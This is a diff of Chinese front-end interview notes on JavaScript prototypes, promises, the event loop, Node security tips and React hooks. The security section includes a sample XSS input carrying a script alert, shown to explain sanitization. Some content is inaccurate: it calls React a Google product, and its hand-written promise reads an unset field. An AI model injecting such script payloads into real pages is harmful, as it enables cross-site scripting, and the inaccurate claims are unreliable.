let name = 'nicecode'
|
||||
cb(name)
|
||||
}
|
||||
const fn = (cb: (name: string) => void) => {
|
||||
let name = 'nicecode';
|
||||
cb(name);
|
||||
};
|
||||
```
|
||||
|
||||
### 如何理解原型?如何理解原型链?
|
||||
|
||||
原型的本质就是一个对象,我们创建一个构造函数的时候,它自动会带上一个prototype属性,这个属性就指向原型对象。它的作用就是用来提供基于函数原型继承的共享属性
|
||||
原型的本质就是一个对象,我们创建一个构造函数的时候,它自动会带上一个 prototype 属性,这个属性就指向原型对象。它的作用就是用来提供基于函数原型继承的共享属性
|
||||
|
||||
当读取实例的属性获取不到时,如果找不到,就会查找与对象关联的原型中的属性,还找不到就会去找原型的原型,一直到顶层,这样的一层层的关系嵌套称为**原型链**
|
||||
|
||||
1. 每一个对象都有**__proto__**这是浏览器早期为了让我们能访问 prototype。
|
||||
2. _ _proto__ 的 constructor(构造函数)里面有 prototype。
|
||||
3. _ _proto__ 下面有几个方法:hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
|
||||
4. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
|
||||
1. 每一个对象都有****proto****这是浏览器早期为了让我们能访问 prototype。
|
||||
2. \_ \_proto\_\_ 的 constructor(构造函数)里面有 prototype。
|
||||
3. \_ \_proto\_\_ 下面有几个方法:hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
|
||||
4. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
|
||||
|
||||

|
||||
|
||||
## 理解 promise
|
||||
|
||||
promise 的出现是为了解决回调地狱(callback hell),它的其他API有:
|
||||
promise 的出现是为了解决回调地狱(callback hell),它的其他 API 有:
|
||||
|
||||
1. all(处理所有promise事件回调的合集)
|
||||
1. all(处理所有 promise 事件回调的合集)
|
||||
|
||||
```js
|
||||
let p1 = new Promise(function(resolve, reject) { resolve('ok1') })
|
||||
let p2 = new Promise(function(resolve, reject) { resolve('ok2') })
|
||||
let p3 = Promise.reject('err')
|
||||
let p1 = new Promise(function (resolve, reject) {
|
||||
resolve('ok1');
|
||||
});
|
||||
let p2 = new Promise(function (resolve, reject) {
|
||||
resolve('ok2');
|
||||
});
|
||||
let p3 = Promise.reject('err');
|
||||
|
||||
let res = Promise.all([p1,p2]).then(res => console.log(res))
|
||||
let res = Promise.all([p1, p2]).then((res) => console.log(res));
|
||||
// ['ok1', 'ok2']
|
||||
|
||||
let res2 = Promise.all([p1,p2,p3]).then(res => console.log(res)).catch(err => console.error(err))
|
||||
let res2 = Promise.all([p1, p2, p3])
|
||||
.then((res) => console.log(res))
|
||||
.catch((err) => console.error(err));
|
||||
// err
|
||||
```
|
||||
|
||||
2. race(获取最快的返回结果)
|
||||
|
||||
```js
|
||||
let p1 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok1'), 500) })
|
||||
let p2 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok2'), 1500) })
|
||||
let p1 = new Promise(function (resolve, reject) {
|
||||
setTimeout(() => resolve('ok1'), 500);
|
||||
});
|
||||
let p2 = new Promise(function (resolve, reject) {
|
||||
setTimeout(() => resolve('ok2'), 1500);
|
||||
});
|
||||
|
||||
let res = Promise.race([p1,p2]).then(res => console.log(res)) // ok1
|
||||
let res = Promise.race([p1, p2]).then((res) => console.log(res)); // ok1
|
||||
```
|
||||
|
||||
3. allSettled(忽视reject)
|
||||
3. allSettled(忽视 reject)
|
||||
|
||||
避免promise队列中有 reject 忽视。
|
||||
避免 promise 队列中有 reject 忽视。
|
||||
|
||||
### 手写一个 promise
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useState } from 'react';
|
||||
|
||||
const PENDING = 'PENDING'; // 处理中
|
||||
const FULFILLED = 'FULFILLED'; // 已完成
|
||||
const REJECTED = 'REJECTED'; // 已拒绝
|
||||
|
||||
const PENDING = 'PENDING'; // 处理中
|
||||
const FULFILLED = 'FULFILLED'; // 已完成
|
||||
const REJECTED = 'REJECTED'; // 已拒绝
|
||||
|
||||
class Prom {
|
||||
constructor(executor) {
|
||||
@ -602,61 +587,58 @@ class Prom {
|
||||
|
||||
let resolve = (val) => {
|
||||
if (this.status === PENDING) {
|
||||
this.status = FULFILLED
|
||||
this.value = val
|
||||
this.status = FULFILLED;
|
||||
this.value = val;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let reject = (err) => {
|
||||
if (this.status === PENDING) {
|
||||
this.status = REJECTED
|
||||
this.error = err
|
||||
this.status = REJECTED;
|
||||
this.error = err;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
// 立即执行,将 resolve 和 reject 函数传给使用者
|
||||
executor(resolve, reject)
|
||||
} catch (error) {
|
||||
// 发生异常时执行失败逻辑
|
||||
reject(error)
|
||||
}
|
||||
// 立即执行,将 resolve 和 reject 函数传给使用者
|
||||
executor(resolve, reject);
|
||||
} catch (error) {
|
||||
// 发生异常时执行失败逻辑
|
||||
reject(error);
|
||||
}
|
||||
}
|
||||
|
||||
then(onFulfilled, onReject) {
|
||||
if (this.status === FULFILLED) {
|
||||
onFulfilled(this.value)
|
||||
onFulfilled(this.value);
|
||||
}
|
||||
|
||||
if (this.status === REJECTED) {
|
||||
onReject(this.reason)
|
||||
onReject(this.reason);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default() => {
|
||||
const [text, setText] = useState(PENDING)
|
||||
export default () => {
|
||||
const [text, setText] = useState(PENDING);
|
||||
|
||||
useEffect(() => {
|
||||
const promise = new Prom((resolve, reject) => {
|
||||
resolve('成功');
|
||||
}).then(
|
||||
(data) => {
|
||||
setText(data)
|
||||
console.log('手写promise', data)
|
||||
setText(data);
|
||||
console.log('手写promise', data);
|
||||
},
|
||||
(err) => {
|
||||
setText(err)
|
||||
console.log('faild', err)
|
||||
}
|
||||
)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>{text}</div>
|
||||
)
|
||||
}
|
||||
setText(err);
|
||||
console.log('faild', err);
|
||||
},
|
||||
);
|
||||
}, []);
|
||||
|
||||
return <div>{text}</div>;
|
||||
};
|
||||
```
|
||||
|
||||
## async 和 await
|
||||
@ -666,6 +648,7 @@ export default() => {
|
||||
## 柯里化
|
||||
|
||||
特点:
|
||||
|
||||
1. 组合函数:可以将函数的逻辑简单化,并且达到更细粒度的代码拆分和复用
|
||||
2. 延迟执行:可以延迟执行最后一个参数执行的时间,在期间做一些其他逻辑的执行,剩余的到后面再决定
|
||||
3. 简单化函数:将参数从多参数拆为单参数,让接口简洁,更容易使用
|
||||
@ -674,41 +657,80 @@ export default() => {
|
||||
import React, { useEffect } from 'react';
|
||||
|
||||
function curry(a: number) {
|
||||
return function(b: number) {
|
||||
return function(offset: number) {
|
||||
return a + b + offset
|
||||
}
|
||||
}
|
||||
return function (b: number) {
|
||||
return function (offset: number) {
|
||||
return a + b + offset;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
export default () => {
|
||||
curry(1)(2)(3)
|
||||
curry(1)(2)(3);
|
||||
|
||||
return (
|
||||
<div>柯里化函数</div>
|
||||
)
|
||||
}
|
||||
return <div>柯里化函数</div>;
|
||||
};
|
||||
```
|
||||
|
||||
## event loop
|
||||
## event loop 事件循环机制
|
||||
|
||||
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为执行栈,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
|
||||
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为 **执行栈**,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
|
||||
|
||||
宏任务大概有:setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作,UI渲染
|
||||
宏任务大概有:setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作,UI 渲染
|
||||
|
||||
微任务则有:promise.then()、promise.catch()、new MutationObserver、process.nextTick()
|
||||
|
||||
```js
|
||||
// 抽现转具象的描述事件循环
|
||||
{
|
||||
tasks: [
|
||||
{
|
||||
script: '主代码块',
|
||||
},
|
||||
{
|
||||
script: 'innter的click回调函数',
|
||||
microtasks: [
|
||||
{
|
||||
script: 'Promise',
|
||||
},
|
||||
{
|
||||
script: 'MutationObserver',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
script: 'outer的click回调函数',
|
||||
microtasks: [
|
||||
{
|
||||
script: 'Promise',
|
||||
},
|
||||
{
|
||||
script: 'MutationObserver',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
script: 'setTimeout',
|
||||
},
|
||||
{
|
||||
script: 'setInterval',
|
||||
},
|
||||
];
|
||||
}
|
||||
```
|
||||
|
||||
## 堆、栈的区别
|
||||
|
||||
1. 基本数据类型一般内存小,放在栈中;引用数据类型一般内存大,放在堆中
|
||||
2. 栈的垃圾回收是执行环境结束立即释放,而堆需要所有引用结束才会释放
|
||||
3. 一般来说栈的效率要高于堆
|
||||
|
||||
## v8的垃圾回收机制
|
||||
## v8 的垃圾回收机制
|
||||
|
||||
执行js的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
|
||||
执行 js 的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
|
||||
|
||||
新生代的空间换时间 scavenge 算法是:1. 执行的过程中将空间分为 From 和 To 两块,2. 判断是否满足存活条件,存活的将变量复制到另一个空间,3. 不存活的直接清理。4. 将From 和 To 空间交换,如此循环往复
|
||||
新生代的空间换时间 scavenge 算法是:1. 执行的过程中将空间分为 From 和 To 两块,2. 判断是否满足存活条件,存活的将变量复制到另一个空间,3. 不存活的直接清理。4. 将 From 和 To 空间交换,如此循环往复。
|
||||
|
||||
另外就是新生代的内存为 8M 左右,属于一个短期生命变量储存的区域,如果在执行新生代算法标记的过程中,发现某个变量多次出现,就会移交到老生代垃圾回收算法区
|
||||
|
||||
老生代的标记清除和整理,运行的时候将活跃的变量标记,并进行整理到内存的一端,移除那些不活跃的空间进行释放回收
|
||||
|
||||
@ -730,7 +752,7 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
|
||||
|
||||
### 4. (unknown): Script error
|
||||
|
||||
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
|
||||
当未捕获的 JavaScript 错误(通过 window.onerror 处理程序引发的错误,而不是捕获在 try-catch 中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
|
||||
|
||||
### 5. TypeError: Object doesn’t support property
|
||||
|
||||
@ -756,6 +778,6 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
|
||||
|
||||
当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
|
||||
|
||||
## 参考文章
|
||||
## 参考文章
|
||||
|
||||
<https://github.com/CavsZhouyou/Front-End-Interview-Notebook>
|
||||
|
@ -18,11 +18,11 @@ eval 的作用是将用户输入的字符串转化为可执行的代码,类似
|
||||
严格模式下的变量 **重复声明** 等操作会抛出一些隐藏的错误。
|
||||
|
||||
```javascript
|
||||
'use strict'
|
||||
'use strict';
|
||||
var obj = {
|
||||
a: '1',
|
||||
a: '2'
|
||||
}
|
||||
a: '2',
|
||||
};
|
||||
// 抛出错误 syntax error
|
||||
```
|
||||
|
||||
@ -52,30 +52,23 @@ child_process.exec('ls', function (err, data) {
|
||||
|
||||
## 7. 临时文件
|
||||
|
||||
|
||||
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
|
||||
|
||||
|
||||
> 使用 Streams。
|
||||
|
||||
## 8. 加密 Web 应用
|
||||
|
||||
|
||||
用 https 代替 http,请求的过程可以添加签名头。
|
||||
|
||||
|
||||
## 9. Reflected Cross Site Scripting
|
||||
|
||||
|
||||
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
|
||||
|
||||
|
||||
```javascript
|
||||
//用户输入的数据中带脚本,如果不做处理,会被执行。
|
||||
Im human <script>alert('I‘m hacker')<script>
|
||||
```
|
||||
|
||||
|
||||
> 处理方式:1. 对插入的数据进行验证,除去 HTML。
|
||||
|
||||
## 10. 看好你的 cookie
|
||||
@ -92,21 +85,65 @@ Content-Security-Policy: default-src 'self' *.mydomain.com
|
||||
|
||||
## 12. Cross-Site Request Forgery
|
||||
|
||||
跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
|
||||
跨站请求伪造是一种迫使终端用户在他目前已验证授权的 Web 应用程序中执行其它的 actions。node 社区已实现,可以使用同步令牌模式处理。
|
||||
|
||||
## react 性能提升的几个方式
|
||||
|
||||
1. 如果是18之前可以将版本提升,挂载改成 createRoot,优化后的算法会比之前的强。
|
||||
1. 如果是 18 之前可以将版本提升,挂载改成 createRoot,优化后的算法会比之前的强。
|
||||
2. prerender 预加载首屏页面,提升网页的收录
|
||||
3. 给页面添加 loading,增加用户体验,可以通过 webpack 配置
|
||||
4. 通过请求头的时间限制来达到缓存的效果,协商缓存和强制缓存,节省浏览器的支出
|
||||
5. 动态引入polyfill:我们市面上90%以上的设备,其实都能支持最新的API,但是如果我们为了这10%的不支持用户从而去放弃90%的人的用户体验不值得,让它通过 UA 请求头来判断是否需要加载polyfill.
|
||||
5. 动态引入 polyfill:我们市面上 90%以上的设备,其实都能支持最新的 API,但是如果我们为了这 10%的不支持用户从而去放弃 90%的人的用户体验不值得,让它通过 UA 请求头来判断是否需要加载 polyfill.
|
||||
6. 使用 splitChunkPlugin 分离公共方法和独立的页面代码,提升复用率和加载速度
|
||||
7. 使用 DllPlugin,抽离一些公共包提升打包时间,这个包只有在版本变化的时候才会去重新打包
|
||||
8. tree shaking,webpack4.0是默认打开的
|
||||
8. tree shaking,webpack4.0 是默认打开的
|
||||
9. code splitting 按需加载页面的某个模块,提升页面加载速度
|
||||
10. 使用 placeholder 和 lazy-load 提升页面性能
|
||||
|
||||
## 遇到性能问题,页面加载速度慢,如何解决?
|
||||
|
||||
通过使用工具(比如 Lighthouse)进行性能分析,找出性能瓶颈。
|
||||
压缩和合并文件,减少 HTTP 请求。
|
||||
使用懒加载技术,仅在需要时加载图片和其他资源。
|
||||
优化图片大小和格式,以减小文件大小。
|
||||
引入缓存机制,减少不必要的重复请求。
|
||||
使用 CDN(内容分发网络)加速资源加载。
|
||||
问题:在跨浏览器兼容性方面遇到了什么问题?
|
||||
|
||||
## 我在一个项目中经历了跨浏览器兼容性的挑战。解决方法包括:
|
||||
|
||||
使用 CSS 前缀来处理不同浏览器的样式。
|
||||
使用特性检测(feature detection)而非浏览器检测,以确保代码在不同浏览器中正常运行。
|
||||
使用 Polyfills 填充 JavaScript 功能缺失。
|
||||
定期检查并更新代码,以适应新版本的浏览器。
|
||||
问题:遇到了一个难以调试的问题,是如何找到并解决的?
|
||||
|
||||
## 对于组件库开发的一些注意事项
|
||||
|
||||
1. 明确定义组件的用途和功能: 在开始开发之前,确保清晰地定义组件的用途和功能。考虑到组件库的可重用性,设计组件时应该尽量使其通用,同时提供足够的配置选项。
|
||||
|
||||
2. 选择开发工具: 选择适当的开发工具,例如构建工具(如 Webpack、Rollup)、版本控制工具(如 Git)、代码编辑器等。这些工具能够提高开发效率,并帮助你管理项目的复杂性。
|
||||
|
||||
3. 制定组件 API: 定义清晰的组件 API,包括组件的属性、方法、事件等。良好设计的 API 可以提高组件的易用性,并使用户更容易理解如何使用你的组件。
|
||||
|
||||
4. 组件的独立性: 确保组件是相互独立的,不依赖于外部环境的状态。这有助于提高组件的可移植性和可维护性。
|
||||
|
||||
5. 文档编写: 编写清晰、详细的文档,包括组件的使用方法、配置选项、API 文档、示例代码等。文档是用户了解和使用组件的关键,因此需要投入足够的时间和精力。
|
||||
|
||||
6. 测试: 编写单元测试和集成测试,确保组件的稳定性和可靠性。测试有助于捕捉潜在的问题,减少 bug,并提高代码质量。
|
||||
|
||||
7. 可定制性: 考虑组件的可定制性,通过提供配置选项或插槽(slot)等机制,使用户能够根据自己的需求调整组件的外观和行为。
|
||||
|
||||
8.主题化: 如果可能,考虑支持主题化,使用户能够轻松地更改组件的外观,以适应其应用的整体设计。
|
||||
|
||||
9. 版本管理: 使用语义化版本控制(Semantic Versioning)规范来管理组件库的版本,以确保用户能够明确了解每个版本的变化。
|
||||
|
||||
10. 发布和分发: 配置发布流程,将组件库发布到合适的包管理器(如 npm)。确保发布的组件库能够方便地被用户引入和使用。
|
||||
|
||||
11. 社区参与: 如果你希望你的组件库成为一个开放的社区项目,考虑设立一个开发者社区,接受用户的反馈、贡献和建议。
|
||||
|
||||
12. 持续维护: 组件库的维护是一个长期的过程。及时响应用户反馈,修复 bug,保持文档的更新,适应新的技术和标准。
|
||||
|
||||
## 参考文章
|
||||
|
||||
源码分析<https://react.iamkasong.com/#%E7%AB%A0%E8%8A%82%E8%AF%B4%E6%98%8E>
|
||||
|
@ -7,44 +7,52 @@ group:
|
||||
order: 6
|
||||
---
|
||||
|
||||
# React
|
||||
# React
|
||||
|
||||
google 出品的一款前端MVC框架,将所有可视化模块组件化,提升开发效率,在前端界具有跨时代意义,目前居于三大框架之首。
|
||||
google 出品的一款前端 MVC 框架,将所有可视化模块组件化,提升开发效率,在前端界具有跨时代意义,目前居于三大框架之首。
|
||||
|
||||
## 为什么选择 react 框架,而不是原生js
|
||||
## 为什么选择 react 框架,而不是原生 js
|
||||
|
||||
1. 复用率高:组件化的开发形式代码的复用率更高,交付更快,拓展性更强
|
||||
2. 生态成熟:目前基于react的生态圈比较完善,可以更快提升开发的效率
|
||||
3. 可读性强:相比较早年的js + jq的开发形式,MVC结构能够更好的提升代码的易读性,让开发更加清晰
|
||||
2. 生态成熟:目前基于 react 的生态圈比较完善,可以更快提升开发的效率
|
||||
3. 可读性强:相比较早年的 js + jq 的开发形式,MVC 结构能够更好的提升代码的易读性,让开发更加清晰
|
||||
|
||||
## 什么是 fiber 架构
|
||||
|
||||
react 需要经历两个阶段:
|
||||
|
||||
1. 将jsx转换成 AST 结构
|
||||
1. 将 jsx 转换成 AST 结构
|
||||
2. 新老 AST 结构进行比较,让后更新渲染到页面上
|
||||
|
||||
16以前的版本是将更新渲染直接入栈出栈队列执行,diff算法本质上是一种递归,递归无法中断,这种形式可能会由于IO堵塞从而导致页面卡顿丢帧。
|
||||
而fiber架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
|
||||
16 以前的版本是将更新渲染直接入栈出栈队列执行,diff 算法本质上是一种递归,递归无法中断,这种形式可能会由于 IO 堵塞从而导致页面卡顿丢帧。
|
||||
而 fiber 架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
|
||||
|
||||
另外我们需要了解人眼的
|
||||
另外我们需要了解人眼的视觉习惯,如下图所示
|
||||
|
||||

|
||||
|
||||
## hooks组件 相比较传统 class组件 的区别
|
||||
## hooks 组件 相比较传统 class 组件 的区别?
|
||||
|
||||
## 优点
|
||||
### 优点
|
||||
|
||||
1. 解决了 HOC 的嵌套问题,扁平式状态逻辑更加简洁
|
||||
2. 解决了类组件的 this 指向问题
|
||||
3. 分割在不同生命周期的代码使得代码难以维护
|
||||
4. 降低代码的复用成本,减少每个组件继承react.component,大大提升性能
|
||||
4. 降低代码的复用成本,减少每个组件继承 react.component,大大提升性能
|
||||
|
||||
## 缺点
|
||||
### 缺点
|
||||
|
||||
1. 额外的学习成本
|
||||
2. 没有类组件的生命周期,也就没办法和 ComponentUpdate 一样获取组件上的新旧数据做比较(性能优化上就少了一环)
|
||||
|
||||
## 为什么 hooks 要放在最外层
|
||||
|
||||
函数式组件他们由于新的 fiber 架构的关系,有自己的一套执行顺序,会形成一个自己的链表结构,也就是所谓的 mountWorkingProgress,stateHook -> memoHook -> refHook -> effectHook
|
||||
|
||||
如果将某个过程中的 hook 定义放在条件语句中,这个链表结构就会被破坏。
|
||||
|
||||

|
||||
|
||||
## memo 和 PureComponent
|
||||
|
||||
理论上父组件状态更新,但是传递给子组件的内容没更新,子组件不应该重新渲染,memo 和 PureComponent 都是为了减少父组件的刷新导致子组件的额外渲染,区别是 memo 针对的是函数组件,PureComponent 针对的则是类组件。
|
||||
@ -52,127 +60,262 @@ react 需要经历两个阶段:
|
||||
```js
|
||||
class Component extends React.PureComponent {
|
||||
render() {
|
||||
return (
|
||||
<div>类组件</div>
|
||||
)
|
||||
return <div>类组件</div>;
|
||||
}
|
||||
}
|
||||
|
||||
const Component = React.memo(() => {
|
||||
return (
|
||||
<div>函数组件</div>
|
||||
)
|
||||
})
|
||||
return <div>函数组件</div>;
|
||||
});
|
||||
```
|
||||
|
||||
## useMemo
|
||||
|
||||
将计算结果缓存下来,一般使用在比较复杂的计算函数中,降低大量计算的时候时间和性能上的消耗。
|
||||
|
||||
一般是如果一个引用数据,会在多个hook里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
|
||||
一般是如果一个引用数据,会在多个 hook 里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
|
||||
|
||||
```jsx
|
||||
import React, { useMemo, useEffect, useState } from 'react'
|
||||
import React, { useMemo, useEffect, useState } from 'react';
|
||||
|
||||
export default () => {
|
||||
const [data1, setData1] = useState(1)
|
||||
const [data2, setData2] = useState(1)
|
||||
const [data1, setData1] = useState(1);
|
||||
const [data2, setData2] = useState(1);
|
||||
|
||||
const memo1 = useMemo(() => {
|
||||
console.log('执行memo')
|
||||
return data1
|
||||
}, [data1])
|
||||
console.log('执行memo');
|
||||
return data1;
|
||||
}, [data1]);
|
||||
|
||||
const f2 = (() => {
|
||||
console.log('执行f2')
|
||||
return data2.toString()
|
||||
})()
|
||||
console.log('执行f2');
|
||||
return data2.toString();
|
||||
})();
|
||||
|
||||
return (
|
||||
<div className="demo1">
|
||||
{memo1}
|
||||
<br/>
|
||||
<br />
|
||||
{f2}
|
||||
<button onClick={() => setData1(data1 + 1)} >f1按钮</button>
|
||||
<button onClick={() => setData2(data2 + 1)} >F2按钮</button>
|
||||
<button onClick={() => setData1(data1 + 1)}>f1按钮</button>
|
||||
<button onClick={() => setData2(data2 + 1)}>F2按钮</button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
## useEffect 和 useLayoutEffect 的区别
|
||||
|
||||
主要区别:
|
||||
|
||||
1. useEffect 是执行在编译和渲染之后,在第二个渲染周期才会执行,而且属于异步操作
|
||||
2. useLayoutEffect 则是执行在编译之后和渲染之前,可以在渲染之前就立刻进行样式的更改
|
||||
|
||||
实际使用场景有 tooltip 通过宽度,判断展示位置应该处于上方还是下方
|
||||
他们之间的差异如果用代码展示效果,可以从下面的代码来看出区别(建议使用差网络效果更明显):
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useLayoutEffect, useState, useRef } from 'react';
|
||||
|
||||
function BoxComparison() {
|
||||
const [heightEffect, setHeightEffect] = useState(0);
|
||||
const [heightLayoutEffect, setHeightLayoutEffect] = useState(0);
|
||||
const refEffect = useRef(null);
|
||||
const refLayoutEffect = useRef(null);
|
||||
|
||||
useEffect(() => {
|
||||
if (refEffect.current) {
|
||||
setHeightEffect(refEffect.current.offsetWidth);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useLayoutEffect(() => {
|
||||
if (refLayoutEffect.current) {
|
||||
setHeightLayoutEffect(refLayoutEffect.current.offsetWidth);
|
||||
}
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div>
|
||||
<div
|
||||
ref={refEffect}
|
||||
style={{ width: '200px', height: '50px', background: 'lightgray' }}
|
||||
>
|
||||
使用 useEffect
|
||||
</div>
|
||||
<div
|
||||
style={{
|
||||
width: '100px',
|
||||
height: `${heightEffect}px`,
|
||||
background: 'red',
|
||||
marginTop: '10px',
|
||||
}}
|
||||
>
|
||||
红色方块
|
||||
</div>
|
||||
</div>
|
||||
<div style={{ marginTop: '30px' }}>
|
||||
<div
|
||||
ref={refLayoutEffect}
|
||||
style={{ width: '200px', height: '50px', background: 'lightgray' }}
|
||||
>
|
||||
使用 useLayoutEffect
|
||||
</div>
|
||||
<div
|
||||
style={{
|
||||
width: '100px',
|
||||
height: `${heightLayoutEffect}px`,
|
||||
background: 'blue',
|
||||
marginTop: '10px',
|
||||
}}
|
||||
>
|
||||
蓝色方块
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default BoxComparison;
|
||||
```
|
||||
|
||||
## useCallback
|
||||
|
||||
基本上和 useMemo 代码逻辑是一样的,只是useCallback 相比较 useMemo是将函数缓存下来,防止执行其他操作的时候多次渲染,消耗性能。需要搭配memo一起使用。
|
||||
基本上和 useMemo 代码逻辑是一样的,只是 useCallback 相比较 useMemo 是将函数缓存下来,防止执行其他操作的时候多次渲染,消耗性能。需要搭配 memo 一起使用。
|
||||
|
||||
使用原则也和 useMemo 保持一致
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useCallback, useState } from 'react'
|
||||
import React, { useEffect, useCallback, useState } from 'react';
|
||||
|
||||
const Btn = React.memo((props) => {
|
||||
const [txt1, setTxt1] = useState(0)
|
||||
const [txt2, setTxt2] = useState(0)
|
||||
const [txt1, setTxt1] = useState(0);
|
||||
const [txt2, setTxt2] = useState(0);
|
||||
|
||||
useEffect(() => {
|
||||
setTxt1(txt1 + 1)
|
||||
},[props.fn1])
|
||||
setTxt1(txt1 + 1);
|
||||
}, [props.fn1]);
|
||||
|
||||
useEffect(() => {
|
||||
setTxt2(txt2 + 1)
|
||||
}, [props.fn2])
|
||||
setTxt2(txt2 + 1);
|
||||
}, [props.fn2]);
|
||||
|
||||
return (
|
||||
<div>
|
||||
使用了cb方法{txt1}
|
||||
<br/>
|
||||
<br />
|
||||
没使用cb方法{txt2}
|
||||
<button onClick={() => props.fn1()} >按钮1</button>
|
||||
<button onClick={() => props.fn2()} >按钮2</button>
|
||||
<button onClick={() => props.fn1()}>按钮1</button>
|
||||
<button onClick={() => props.fn2()}>按钮2</button>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
export default () => {
|
||||
const [data1, setData1] = useState(1)
|
||||
const [data1, setData1] = useState(1);
|
||||
|
||||
const fn1 = useCallback(() => {
|
||||
console.log('使用了回调缓存')
|
||||
setData1(data1 + 1)
|
||||
}, [])
|
||||
console.log('使用了回调缓存');
|
||||
setData1(data1 + 1);
|
||||
}, []);
|
||||
|
||||
const fn2 = () => {
|
||||
setData1(data1 + 1)
|
||||
}
|
||||
setData1(data1 + 1);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="demo1">
|
||||
数据变化:{data1}
|
||||
<br/>
|
||||
<button onClick={fn1} >父级按钮</button>
|
||||
<br />
|
||||
<button onClick={fn1}>父级按钮</button>
|
||||
<Btn fn1={fn1} fn2={fn2} />
|
||||
</div>
|
||||
)
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
## useContext 和 Provider
|
||||
|
||||
让开发者从多层嵌套中解脱出来,能实现跨层级数据共享
|
||||
|
||||
```jsx
|
||||
import { createContext, useContext, useState } from 'react';
|
||||
|
||||
const ThemeContext = createContext(null);
|
||||
const CurrentUserContext = createContext(null);
|
||||
|
||||
function Toolbar() {
|
||||
return (
|
||||
<div>
|
||||
<LoginButton />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function LoginButton() {
|
||||
const { currentUser, setCurrentUser } = useContext(CurrentUserContext);
|
||||
|
||||
if (currentUser !== null) {
|
||||
return <p>You logged in as {currentUser.name}.</p>;
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
onClick={() => {
|
||||
setCurrentUser({ name: 'Advika' });
|
||||
}}
|
||||
>
|
||||
Log in
|
||||
</Button>
|
||||
);
|
||||
}
|
||||
|
||||
export default function MyApp() {
|
||||
const [theme, setTheme] = useState('light');
|
||||
const [currentUser, setCurrentUser] = useState(null);
|
||||
return (
|
||||
<ThemeContext.Provider value={theme}>
|
||||
<CurrentUserContext.Provider
|
||||
value={{
|
||||
currentUser,
|
||||
setCurrentUser,
|
||||
}}
|
||||
>
|
||||
<Toolbar />
|
||||
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
|
||||
Toggle Theme
|
||||
</button>
|
||||
</CurrentUserContext.Provider>
|
||||
</ThemeContext.Provider>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## useRef 和 forwardRef 的使用
|
||||
|
||||
useRef 的几个应用场景:
|
||||
|
||||
1. 可以用来获取 dom
|
||||
2. 保存状态值,在不触发组件渲染的数据计算中使用
|
||||
forwardRef 是用来自己封装组件时,将组件的 ref 暴露出来
|
||||
|
||||
## lazy
|
||||
|
||||
懒加载组件,实现效果类似webpack 的 code spliting。
|
||||
懒加载组件,实现效果类似 webpack 的 code spliting。
|
||||
|
||||
```js
|
||||
import React, { lazy, Suspense } from 'react'
|
||||
import React, { lazy, Suspense } from 'react';
|
||||
|
||||
const Comp = lazy(() => {
|
||||
return new Promise((resolve, reject) => {
|
||||
